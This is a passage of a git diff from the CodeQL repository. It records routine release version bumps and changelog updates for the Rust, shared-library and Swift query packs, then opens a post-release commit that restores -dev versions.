@@ +## 0.1.9 + +No user-facing changes. + ## 0.1.8 No user-facing changes. diff --git a/rust/ql/src/change-notes/released/0.1.9.md b/rust/ql/src/change-notes/released/0.1.9.md new file mode 100644 index 00000000000..e93006d794f --- /dev/null +++ b/rust/ql/src/change-notes/released/0.1.9.md @@ -0,0 +1,3 @@ +## 0.1.9 + +No user-facing changes. diff --git a/rust/ql/src/codeql-pack.release.yml b/rust/ql/src/codeql-pack.release.yml index 3136ea4a1cc..1425c0edf7f 100644 --- a/rust/ql/src/codeql-pack.release.yml +++ b/rust/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.8 +lastReleaseVersion: 0.1.9 diff --git a/rust/ql/src/qlpack.yml b/rust/ql/src/qlpack.yml index 3ce216f0a2d..ddd0cee92d5 100644 --- a/rust/ql/src/qlpack.yml +++ b/rust/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rust-queries -version: 0.1.9-dev +version: 0.1.9 groups: - rust - queries diff --git a/shared/controlflow/CHANGELOG.md b/shared/controlflow/CHANGELOG.md index 1aab9a2eeba..8748a58b0c4 100644 --- a/shared/controlflow/CHANGELOG.md +++ b/shared/controlflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/controlflow/change-notes/released/2.0.8.md b/shared/controlflow/change-notes/released/2.0.8.md new file mode 100644 index 00000000000..4d6867c721b --- /dev/null +++ b/shared/controlflow/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/controlflow/codeql-pack.release.yml b/shared/controlflow/codeql-pack.release.yml index 08d5e959449..7ffb2d9f65b 100644 --- a/shared/controlflow/codeql-pack.release.yml +++ b/shared/controlflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.8 diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml index 83f9b6f67a4..ea02e74b8d4 100644 --- a/shared/controlflow/qlpack.yml +++ b/shared/controlflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/controlflow -version: 2.0.8-dev +version: 2.0.8 groups: shared library: true dependencies: diff --git a/shared/dataflow/CHANGELOG.md b/shared/dataflow/CHANGELOG.md index 36d289f7f04..2fe45acb03c 100644 --- a/shared/dataflow/CHANGELOG.md +++ b/shared/dataflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/dataflow/change-notes/released/2.0.8.md b/shared/dataflow/change-notes/released/2.0.8.md new file mode 100644 index 00000000000..4d6867c721b --- /dev/null +++ b/shared/dataflow/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/dataflow/codeql-pack.release.yml b/shared/dataflow/codeql-pack.release.yml index 08d5e959449..7ffb2d9f65b 100644 --- a/shared/dataflow/codeql-pack.release.yml +++ b/shared/dataflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.8 diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml index 3c70d1d8c2d..9fa1e52fdb3 100644 --- a/shared/dataflow/qlpack.yml +++ b/shared/dataflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/dataflow -version: 2.0.8-dev +version: 2.0.8 groups: shared library: true dependencies: diff --git a/shared/mad/CHANGELOG.md b/shared/mad/CHANGELOG.md index 5efa3ce9aec..3c432d1383f 100644 --- a/shared/mad/CHANGELOG.md +++ b/shared/mad/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/mad/change-notes/released/1.0.24.md b/shared/mad/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/mad/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/mad/codeql-pack.release.yml b/shared/mad/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/mad/codeql-pack.release.yml +++ b/shared/mad/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml index 8cbab3cbcd6..c06bf28103e 100644 --- a/shared/mad/qlpack.yml +++ b/shared/mad/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/mad -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/quantum/CHANGELOG.md b/shared/quantum/CHANGELOG.md index 59b60bad0f3..7668a5ba39d 100644 --- a/shared/quantum/CHANGELOG.md +++ b/shared/quantum/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.0.2 + +No user-facing changes. + ## 0.0.1 No user-facing changes. diff --git a/shared/quantum/change-notes/released/0.0.2.md b/shared/quantum/change-notes/released/0.0.2.md new file mode 100644 index 00000000000..5ab250998ed --- /dev/null +++ b/shared/quantum/change-notes/released/0.0.2.md @@ -0,0 +1,3 @@ +## 0.0.2 + +No user-facing changes. diff --git a/shared/quantum/codeql-pack.release.yml b/shared/quantum/codeql-pack.release.yml index c6933410b71..55dc06fbd76 100644 --- a/shared/quantum/codeql-pack.release.yml +++ b/shared/quantum/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.1 +lastReleaseVersion: 0.0.2 diff --git a/shared/quantum/qlpack.yml b/shared/quantum/qlpack.yml index 4abda024832..e8f696ad279 100644 --- a/shared/quantum/qlpack.yml +++ b/shared/quantum/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/quantum -version: 0.0.2-dev +version: 0.0.2 groups: shared library: true dependencies: diff --git a/shared/rangeanalysis/CHANGELOG.md b/shared/rangeanalysis/CHANGELOG.md index 75bb80c6db7..5716e332920 100644 --- a/shared/rangeanalysis/CHANGELOG.md +++ b/shared/rangeanalysis/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/rangeanalysis/change-notes/released/1.0.24.md b/shared/rangeanalysis/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/rangeanalysis/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/rangeanalysis/codeql-pack.release.yml b/shared/rangeanalysis/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/rangeanalysis/codeql-pack.release.yml +++ b/shared/rangeanalysis/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml index d551bb79db4..b9165e57d30 100644 --- a/shared/rangeanalysis/qlpack.yml +++ b/shared/rangeanalysis/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/rangeanalysis -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/regex/CHANGELOG.md b/shared/regex/CHANGELOG.md index 59bbd8cf93b..36cbdcef2ab 100644 --- a/shared/regex/CHANGELOG.md +++ b/shared/regex/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/regex/change-notes/released/1.0.24.md b/shared/regex/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/regex/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/regex/codeql-pack.release.yml b/shared/regex/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/regex/codeql-pack.release.yml +++ b/shared/regex/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml index 41c9b1ba043..84c4b249f57 100644 --- a/shared/regex/qlpack.yml +++ b/shared/regex/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/regex -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/ssa/CHANGELOG.md b/shared/ssa/CHANGELOG.md index 509445eb6b1..85891c54761 100644 --- a/shared/ssa/CHANGELOG.md +++ b/shared/ssa/CHANGELOG.md @@ -1,3 +1,9 @@ +## 2.0.0 + +### Breaking Changes + +* Adjusted the Guards interface in the SSA data flow integration to distinguish `hasBranchEdge` from `controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. + ## 1.1.2 No user-facing changes. diff --git a/shared/ssa/change-notes/2025-05-23-guards-interface.md b/shared/ssa/change-notes/released/2.0.0.md similarity index 87% rename from shared/ssa/change-notes/2025-05-23-guards-interface.md rename to shared/ssa/change-notes/released/2.0.0.md index cc8d76372f6..39ac6d68707 100644 --- a/shared/ssa/change-notes/2025-05-23-guards-interface.md +++ b/shared/ssa/change-notes/released/2.0.0.md @@ -1,4 +1,5 @@ ---- -category: breaking ---- +## 2.0.0 + +### Breaking Changes + * Adjusted the Guards interface in the SSA data flow integration to distinguish `hasBranchEdge` from `controlsBranchEdge`. Any breakage can be fixed by implementing one with the other as a reasonable fallback solution. diff --git a/shared/ssa/codeql-pack.release.yml b/shared/ssa/codeql-pack.release.yml index 53ab127707f..0abe6ccede0 100644 --- a/shared/ssa/codeql-pack.release.yml +++ b/shared/ssa/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.2 +lastReleaseVersion: 2.0.0 diff --git a/shared/ssa/qlpack.yml b/shared/ssa/qlpack.yml index fe5fa023a96..03bab1e1650 100644 --- a/shared/ssa/qlpack.yml +++ b/shared/ssa/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/ssa -version: 1.1.3-dev +version: 2.0.0 groups: shared library: true dependencies: diff --git a/shared/threat-models/CHANGELOG.md b/shared/threat-models/CHANGELOG.md index c3254e1caad..a684ef060a5 100644 --- a/shared/threat-models/CHANGELOG.md +++ b/shared/threat-models/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/threat-models/change-notes/released/1.0.24.md b/shared/threat-models/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/threat-models/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/threat-models/codeql-pack.release.yml b/shared/threat-models/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/threat-models/codeql-pack.release.yml +++ b/shared/threat-models/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/threat-models/qlpack.yml b/shared/threat-models/qlpack.yml index a86c29ceba3..328719e2a0d 100644 --- a/shared/threat-models/qlpack.yml +++ b/shared/threat-models/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/threat-models -version: 1.0.24-dev +version: 1.0.24 library: true groups: shared dataExtensions: diff --git a/shared/tutorial/CHANGELOG.md b/shared/tutorial/CHANGELOG.md index 247d9be86a5..b0f9b01001b 100644 --- a/shared/tutorial/CHANGELOG.md +++ b/shared/tutorial/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/tutorial/change-notes/released/1.0.24.md b/shared/tutorial/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/tutorial/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/tutorial/codeql-pack.release.yml b/shared/tutorial/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/tutorial/codeql-pack.release.yml +++ b/shared/tutorial/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/tutorial/qlpack.yml b/shared/tutorial/qlpack.yml index a0aa1a8b3ae..b9b63085e1f 100644 --- a/shared/tutorial/qlpack.yml +++ b/shared/tutorial/qlpack.yml @@ -1,7 +1,7 @@ name: codeql/tutorial description: Library for the CodeQL detective tutorials, helping new users learn to write CodeQL queries. -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/typeflow/CHANGELOG.md b/shared/typeflow/CHANGELOG.md index cad6ded5224..7f8c43e4544 100644 --- a/shared/typeflow/CHANGELOG.md +++ b/shared/typeflow/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/typeflow/change-notes/released/1.0.24.md b/shared/typeflow/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/typeflow/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/typeflow/codeql-pack.release.yml b/shared/typeflow/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/typeflow/codeql-pack.release.yml +++ b/shared/typeflow/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/typeflow/qlpack.yml b/shared/typeflow/qlpack.yml index 123e7a98891..5b91c29a4de 100644 --- a/shared/typeflow/qlpack.yml +++ b/shared/typeflow/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeflow -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/typeinference/CHANGELOG.md b/shared/typeinference/CHANGELOG.md index 4ffbff1e0c4..9b269441c00 100644 --- a/shared/typeinference/CHANGELOG.md +++ b/shared/typeinference/CHANGELOG.md @@ -1,3 +1,7 @@ +## 0.0.5 + +No user-facing changes. + ## 0.0.4 No user-facing changes. diff --git a/shared/typeinference/change-notes/released/0.0.5.md b/shared/typeinference/change-notes/released/0.0.5.md new file mode 100644 index 00000000000..766ec2723b5 --- /dev/null +++ b/shared/typeinference/change-notes/released/0.0.5.md @@ -0,0 +1,3 @@ +## 0.0.5 + +No user-facing changes. diff --git a/shared/typeinference/codeql-pack.release.yml b/shared/typeinference/codeql-pack.release.yml index ec411a674bc..bb45a1ab018 100644 --- a/shared/typeinference/codeql-pack.release.yml +++ b/shared/typeinference/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.0.4 +lastReleaseVersion: 0.0.5 diff --git a/shared/typeinference/qlpack.yml b/shared/typeinference/qlpack.yml index bbfe2ad6615..93bbac0b367 100644 --- a/shared/typeinference/qlpack.yml +++ b/shared/typeinference/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typeinference -version: 0.0.5-dev +version: 0.0.5 groups: shared library: true dependencies: diff --git a/shared/typetracking/CHANGELOG.md b/shared/typetracking/CHANGELOG.md index 16294923597..731844b4af3 100644 --- a/shared/typetracking/CHANGELOG.md +++ b/shared/typetracking/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.8 + +No user-facing changes. + ## 2.0.7 No user-facing changes. diff --git a/shared/typetracking/change-notes/released/2.0.8.md b/shared/typetracking/change-notes/released/2.0.8.md new file mode 100644 index 00000000000..4d6867c721b --- /dev/null +++ b/shared/typetracking/change-notes/released/2.0.8.md @@ -0,0 +1,3 @@ +## 2.0.8 + +No user-facing changes. diff --git a/shared/typetracking/codeql-pack.release.yml b/shared/typetracking/codeql-pack.release.yml index 08d5e959449..7ffb2d9f65b 100644 --- a/shared/typetracking/codeql-pack.release.yml +++ b/shared/typetracking/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.8 diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index eef6fe52e66..82a30f6cec3 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.8-dev +version: 2.0.8 groups: shared library: true dependencies: diff --git a/shared/typos/CHANGELOG.md b/shared/typos/CHANGELOG.md index c7ff1a773da..a81f798d14c 100644 --- a/shared/typos/CHANGELOG.md +++ b/shared/typos/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/typos/change-notes/released/1.0.24.md b/shared/typos/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/typos/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/typos/codeql-pack.release.yml b/shared/typos/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/typos/codeql-pack.release.yml +++ b/shared/typos/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 93833e02e66..37b28642685 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/CHANGELOG.md b/shared/util/CHANGELOG.md index f6f7838bc2e..70486f1eeb4 100644 --- a/shared/util/CHANGELOG.md +++ b/shared/util/CHANGELOG.md @@ -1,3 +1,7 @@ +## 2.0.11 + +No user-facing changes. + ## 2.0.10 No user-facing changes. diff --git a/shared/util/change-notes/released/2.0.11.md b/shared/util/change-notes/released/2.0.11.md new file mode 100644 index 00000000000..b3d110bcba5 --- /dev/null +++ b/shared/util/change-notes/released/2.0.11.md @@ -0,0 +1,3 @@ +## 2.0.11 + +No user-facing changes. diff --git a/shared/util/codeql-pack.release.yml b/shared/util/codeql-pack.release.yml index 96ea0220a69..3cbe73b4cad 100644 --- a/shared/util/codeql-pack.release.yml +++ b/shared/util/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.10 +lastReleaseVersion: 2.0.11 diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index e4cfbd97b6e..7da687aff4e 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.11-dev +version: 2.0.11 groups: shared library: true dependencies: null diff --git a/shared/xml/CHANGELOG.md b/shared/xml/CHANGELOG.md index bdb83dc8830..43afc43456b 100644 --- a/shared/xml/CHANGELOG.md +++ b/shared/xml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/xml/change-notes/released/1.0.24.md b/shared/xml/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/xml/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/xml/codeql-pack.release.yml b/shared/xml/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/xml/codeql-pack.release.yml +++ b/shared/xml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 73910c05517..790a260ddad 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true dependencies: diff --git a/shared/yaml/CHANGELOG.md b/shared/yaml/CHANGELOG.md index 28ca258e0d5..a324870b225 100644 --- a/shared/yaml/CHANGELOG.md +++ b/shared/yaml/CHANGELOG.md @@ -1,3 +1,7 @@ +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/yaml/change-notes/released/1.0.24.md b/shared/yaml/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/yaml/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/yaml/codeql-pack.release.yml b/shared/yaml/codeql-pack.release.yml index 0f96ba41d16..d08329a98fc 100644 --- a/shared/yaml/codeql-pack.release.yml +++ b/shared/yaml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.24 diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index dabb1a33505..56e0c9d83e0 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.24-dev +version: 1.0.24 groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/CHANGELOG.md b/swift/ql/lib/CHANGELOG.md index 1c9326d76e8..fe8bfd82364 100644 --- a/swift/ql/lib/CHANGELOG.md +++ b/swift/ql/lib/CHANGELOG.md @@ -1,3 +1,20 @@ +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `parseContent` predicate from the `ExternalFlow.qll`. +* Deleted the deprecated `hasLocationInfo` predicate from the `DataFlowPublic.qll`. +* Deleted the deprecated `SummaryComponent` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponent` module from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` module from the `FlowSummary.qll`. +* Deleted the deprecated `RequiredSummaryComponentStack` class from the `FlowSummary.qll`. + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.1. +* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library + ## 4.3.0 ### New Features diff --git a/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md b/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md deleted file mode 100644 index aa3282d3326..00000000000 --- a/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library diff --git a/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md b/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md deleted file mode 100644 index 19101e5b615..00000000000 --- a/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md +++ /dev/null @@ -1,5 +0,0 @@ - ---- -category: minorAnalysis ---- -* Updated to allow analysis of Swift 6.1.1. diff --git a/swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md b/swift/ql/lib/change-notes/released/5.0.0.md similarity index 74% rename from swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md rename to swift/ql/lib/change-notes/released/5.0.0.md index 072e6bba5cd..7215a40e396 100644 --- a/swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md +++ b/swift/ql/lib/change-notes/released/5.0.0.md @@ -1,6 +1,7 @@ ---- -category: breaking ---- +## 5.0.0 + +### Breaking Changes + * Deleted the deprecated `parseContent` predicate from the `ExternalFlow.qll`. * Deleted the deprecated `hasLocationInfo` predicate from the `DataFlowPublic.qll`. * Deleted the deprecated `SummaryComponent` class from the `FlowSummary.qll`. @@ -8,3 +9,8 @@ category: breaking * Deleted the deprecated `SummaryComponent` module from the `FlowSummary.qll`. * Deleted the deprecated `SummaryComponentStack` module from the `FlowSummary.qll`. * Deleted the deprecated `RequiredSummaryComponentStack` class from the `FlowSummary.qll`. + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.1. +* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library diff --git a/swift/ql/lib/codeql-pack.release.yml b/swift/ql/lib/codeql-pack.release.yml index c46c103a0bd..c9e54136ca5 100644 --- a/swift/ql/lib/codeql-pack.release.yml +++ b/swift/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.3.0 +lastReleaseVersion: 5.0.0 diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index ebc4b83f267..183fbd25458 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 4.3.1-dev +version: 5.0.0 groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/CHANGELOG.md b/swift/ql/src/CHANGELOG.md index 7910cf095ce..7faf32ba841 100644 --- a/swift/ql/src/CHANGELOG.md +++ b/swift/ql/src/CHANGELOG.md @@ -1,3 +1,9 @@ +## 1.1.4 + +### Minor Analysis Improvements + +* The queries `swift/hardcoded-key` and `swift/constant-password` have been removed from all query suites. + ## 1.1.3 No user-facing changes. diff --git a/swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/swift/ql/src/change-notes/released/1.1.4.md similarity index 71% rename from swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to swift/ql/src/change-notes/released/1.1.4.md index cc524d8c34d..2a8b2c9cda6 100644 --- a/swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/swift/ql/src/change-notes/released/1.1.4.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.1.4 + +### Minor Analysis Improvements + * The queries `swift/hardcoded-key` and `swift/constant-password` have been removed from all query suites. diff --git a/swift/ql/src/codeql-pack.release.yml b/swift/ql/src/codeql-pack.release.yml index 35e710ab1bf..26cbcd3f123 100644 --- a/swift/ql/src/codeql-pack.release.yml +++ b/swift/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.3 +lastReleaseVersion: 1.1.4 diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 7f727988f7c..2768bcab8fd 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.4-dev +version: 1.1.4 groups: - swift - queries From d2c6875eac743d9dd93f336d1e9d3869663c61b4 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 27 May 2025 18:16:21 +0000 Subject: [PATCH 087/271] Post-release preparation for codeql-cli-2.21.4 --- actions/ql/lib/qlpack.yml | 2 +- actions/ql/src/qlpack.yml | 2 +- cpp/ql/lib/qlpack.yml | 2 +- cpp/ql/src/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/lib/qlpack.yml | 2 +- csharp/ql/campaigns/Solorigate/src/qlpack.yml | 2 +- csharp/ql/lib/qlpack.yml | 2 +- csharp/ql/src/qlpack.yml | 2 +- go/ql/consistency-queries/qlpack.yml | 2 +- go/ql/lib/qlpack.yml | 2 +- go/ql/src/qlpack.yml | 2 +- java/ql/lib/qlpack.yml | 2 +- java/ql/src/qlpack.yml | 2 +- javascript/ql/lib/qlpack.yml | 2 +- javascript/ql/src/qlpack.yml | 2 +- misc/suite-helpers/qlpack.yml | 2 +- python/ql/lib/qlpack.yml | 2 +- python/ql/src/qlpack.yml | 2 +- ruby/ql/lib/qlpack.yml | 2 +- ruby/ql/src/qlpack.yml | 2 +- rust/ql/lib/qlpack.yml | 2 +- rust/ql/src/qlpack.yml | 2 +- shared/controlflow/qlpack.yml | 2 +- shared/dataflow/qlpack.yml | 2 +- shared/mad/qlpack.yml | 2 +- shared/quantum/qlpack.yml | 2 +- shared/rangeanalysis/qlpack.yml | 2 +- shared/regex/qlpack.yml | 2 +- shared/ssa/qlpack.yml | 2 +- shared/threat-models/qlpack.yml | 2 +- shared/tutorial/qlpack.yml | 2 +- shared/typeflow/qlpack.yml | 2 +- shared/typeinference/qlpack.yml | 2 +- shared/typetracking/qlpack.yml | 2 +- shared/typos/qlpack.yml | 2 +- shared/util/qlpack.yml | 2 +- shared/xml/qlpack.yml | 2 +- shared/yaml/qlpack.yml | 2 +- swift/ql/lib/qlpack.yml | 2 +- swift/ql/src/qlpack.yml | 2 +- 40 files changed, 40 insertions(+), 40 deletions(-) diff --git a/actions/ql/lib/qlpack.yml b/actions/ql/lib/qlpack.yml index c500ec3617b..7a7de08379b 100644 --- a/actions/ql/lib/qlpack.yml +++ b/actions/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-all -version: 0.4.10 +version: 0.4.11-dev library: true warnOnImplicitThis: true dependencies: diff --git a/actions/ql/src/qlpack.yml b/actions/ql/src/qlpack.yml index 5c2a1dfbb1f..3d1ae2cb47f 100644 --- a/actions/ql/src/qlpack.yml +++ b/actions/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/actions-queries -version: 0.6.2 +version: 0.6.3-dev library: false warnOnImplicitThis: true groups: [actions, queries] diff --git a/cpp/ql/lib/qlpack.yml b/cpp/ql/lib/qlpack.yml index f5c88301895..70d56bab29d 100644 --- a/cpp/ql/lib/qlpack.yml +++ b/cpp/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/cpp-all -version: 5.0.0 +version: 5.0.1-dev groups: cpp dbscheme: semmlecode.cpp.dbscheme extractor: cpp diff --git a/cpp/ql/src/qlpack.yml 